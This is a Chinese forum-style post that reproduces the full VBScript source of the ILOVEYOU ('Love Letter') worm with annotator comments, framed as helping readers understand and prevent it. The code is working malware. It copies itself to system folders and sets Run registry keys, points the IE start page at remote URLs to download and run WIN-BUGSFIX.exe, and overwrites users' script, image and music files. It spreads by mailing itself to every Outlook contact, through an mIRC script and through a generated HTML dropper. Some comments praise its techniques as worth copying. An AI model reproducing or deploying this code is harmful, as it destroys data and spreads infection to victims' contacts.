发表这篇文章的目的在于让各位了解Love Letter, 并且有效地予以预防 。
' 如果认为本文章可能被坏人利用，请予以删除。
' 程序中的中文注释为本人所加，并针对病毒特点予以解释，同时，给出了预防病毒的方法。
' 我个人认为Love Letter写的并不是十分的棒，但是它使用的不少技术确实令人赞叹
' 病毒作者也许没有受过专业的编程训练，但是从选择的程序资源来看，确实下了一番功夫。
' 本病毒源码也可以用来回答VB爱好者的很多问题。
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
pines
' 注释：程序作者的签名（可能）
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
' 注释：FileSystemObject是M$ VBVM系统中最危险的部分，它的功能十分强大
' 从病毒使用FSO可以知道，通过修改注册表，可以轻易防止 Love Letter发作。
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
' 注释 - 程序初始化完成。
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER/Software/Microsoft/Windows Scriptin
g Host/Settings/Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting
Host/Settings/Timeout",0,"REG_DWORD"
' 注释 - 防止操作超时造成的程序终止。
' 应该说，编写病毒的程序员考虑到了可能发生的问题，这一点值得所有的编程
者借鉴。
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
' 获取系统关键文件夹的名称
' VB编程时可以用。
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"/MSKernel32.vbs")
c.Copy(dirwin&"/Win32DLL.vbs")
c.Copy(dirsystem&"/LOVE-LETTER-FOR-YOU.TXT.vbs")
' 复制自身到关键目录中备用。
' 文件名并不是很好。太容易被发现了。
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
' 修改注册表，以便自动装载病毒程序
' 预防：经常检查注册表中的这一分支。
' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进，
' 因为它不会因为语言问题而失效。
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersio
n/Run/MSKernel32",dirsystem&"/MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersio
n/RunServices/Win32DLL",dirwin&"/Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER/Software/Microsoft/Internet Explore
r/Download Directory")
if (downread="") then
downread="c:/"
end if
if (fileexist(dirsystem&"/WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if
if (fileexist(downread&"/WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersio
n/Run/WIN-BUGSFIX",downread&"/WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main
/Start Page","about:blank"
end if
end sub
sub listadriv
' 遍历所有驱动器。
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"/")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
' 执行传染文件的操作。
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext=
"sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"/"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri
pt.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"/script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corru
pt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
' 病毒作者的英文恐怕没学好……不过，这样吓唬人也够损的了。
' 这里提醒各位注意，不要在乎那些吓人的文字，仔细观察就会发现漏洞其实不
少。
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"/LOVE-LETTER-FO
R-YOU.HTM"
scriptini.WriteLine "n3=}"
' 注意，这样做的结果是，MIRC也能够传染病毒。
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
' 遍历文件夹
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
' 修改注册表（创建键值）
' 这个程序似乎是微软的示范程序。
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
' 这个程序似乎也是微软的示范程序。(WSH示范，在Windows文件夹)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
' 判断文件是否存在
' 纯粹从技术角度讲，这段程序写的不怎么样。
' 不用写这么长就能够实现相同的功能
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
' 判断文件夹是否存在
' 和上一段程序一样臭。
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
' 通过电子邮件扩散
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
' 病毒的局限：只支持Outlook，而Outlook Express则不支持。
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER/Software/Microsoft/WAB/"&male
ad)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
' 病毒得名的原因
' 见到这样的邮件，肯定是病毒。
' 头脑正常的人恐怕不会这样直白的。
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m
e."
male.Attachments.Add(dirsystem&"/LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&malead,1,
"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a,a.Addre
ssEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a,a.Addre
ssEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
' 从技术角度说，这段程序写得很漂亮，原因在于充分地利用了 Outlook 的资源
。
' 值得编写程序的借鉴。
' 程序中间的_符号是连接线，所以注释写在这里。
' 程序中无效语句很多，浪费了不少空间。
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene
rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G
RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go
od...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO
VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO
U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@
>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r
ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active
X<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>--------
--z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight
;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf&
_
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf
& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&
_
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo
ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v
bs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"/")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"/")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"/",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"/LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"/LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
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